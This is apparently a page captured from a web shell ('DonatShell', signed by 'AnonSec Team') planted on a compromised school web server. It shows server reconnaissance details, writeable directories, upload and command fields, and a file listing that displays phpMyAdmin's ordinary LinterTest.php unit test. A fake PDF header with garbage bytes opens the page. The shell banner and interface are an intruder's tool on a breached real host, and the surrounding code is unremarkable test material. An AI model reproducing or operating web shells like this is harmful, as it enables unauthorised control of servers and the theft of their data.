%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : www.kowitt.ac.th  /  Your IP : 216.73.216.118
Web Server : Microsoft-IIS/7.5
System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.6.31
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/BK/wwwroot/phpMyAdmin/test/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/BK/wwwroot/phpMyAdmin/test/classes/LinterTest.php
<?php
/* vim: set expandtab sw=4 ts=4 sts=4: */
/**
 * Tests for Linter.php.
 *
 * @package PhpMyAdmin-test
 */

/*
 * Include to test.
 */
use PMA\libraries\Linter;

require_once 'test/PMATestCase.php';

/**
 * Tests for PMA\libraries\Linter
 *
 * @package PhpMyAdmin-test
 */
class LinterTest extends PMATestCase
{

    /**
     * Test for Linter::getLines
     *
     * @return void
     */
    public function testGetLines()
    {
        $this->assertEquals(array(0), Linter::getLines(''));
        $this->assertEquals(array(0, 2), Linter::getLines("a\nb"));
        $this->assertEquals(array(0, 4, 7), Linter::getLines("abc\nde\n"));
    }

    /**
     * Test for Linter::findLineNumberAndColumn
     *
     * @return void
     */
    public function testFindLineNumberAndColumn()
    {
        // Let the analyzed string be:
        //      ^abc$
        //      ^de$
        //      ^$
        //
        // Where `^` is the beginning of the line and `$` the end of the line.
        //
        // Positions of each character (by line):
        //      ( a, 0), ( b, 1), ( c, 2), (\n, 3),
        //      ( d, 4), ( e, 5), (\n, 6),
        //      (\n, 7).
        $this->assertEquals(
            array(1, 0),
            Linter::findLineNumberAndColumn(array(0, 4, 7), 4)
        );
        $this->assertEquals(
            array(1, 1),
            Linter::findLineNumberAndColumn(array(0, 4, 7), 5)
        );
        $this->assertEquals(
            array(1, 2),
            Linter::findLineNumberAndColumn(array(0, 4, 7), 6)
        );
        $this->assertEquals(
            array(2, 0),
            Linter::findLineNumberAndColumn(array(0, 4, 7), 7)
        );
    }

    /**
     * Test for Linter::lint
     *
     * @dataProvider testLintProvider
     *
     * @param array  $expected The expected result.
     * @param string $query    The query to be analyzed.
     *
     * @return void
     */
    public function testLint($expected, $query)
    {
        $this->assertEquals($expected, Linter::lint($query));
    }

    /**
     * Provides data for `testLint`.
     *
     * @return array
     */
    public static function testLintProvider()
    {
        return array(
            array(
                array(),
                '',
            ),
            array(
                array(),
                'SELECT * FROM tbl'
            ),
            array(
                array(
                    array(
                        'message' => 'Unrecognized data type. (near ' .
                            '<code>IN</code>)',
                        'fromLine' => 0,
                        'fromColumn' => 22,
                        'toLine' => 0,
                        'toColumn' => 24,
                        'severity' => 'error',
                    ),
                    array(
                        'message' => 'A closing bracket was expected. (near ' .
                            '<code>IN</code>)',
                        'fromLine' => 0,
                        'fromColumn' => 22,
                        'toLine' => 0,
                        'toColumn' => 24,
                        'severity' => 'error',
                    )
                ),
                'CREATE TABLE tbl ( id IN'
            ),
            array(
                array(
                    array(
                        'message' => 'Linting is disabled for this query because ' .
                            'it exceeds the maximum length.',
                        'fromLine' => 0,
                        'fromColumn' => 0,
                        'toLine' => 0,
                        'toColumn' => 0,
                        'severity' => 'warning',
                    )
                ),
                str_repeat(";", 10001)
            )
        );
    }
}

Anon7 - 2022
AnonSec Team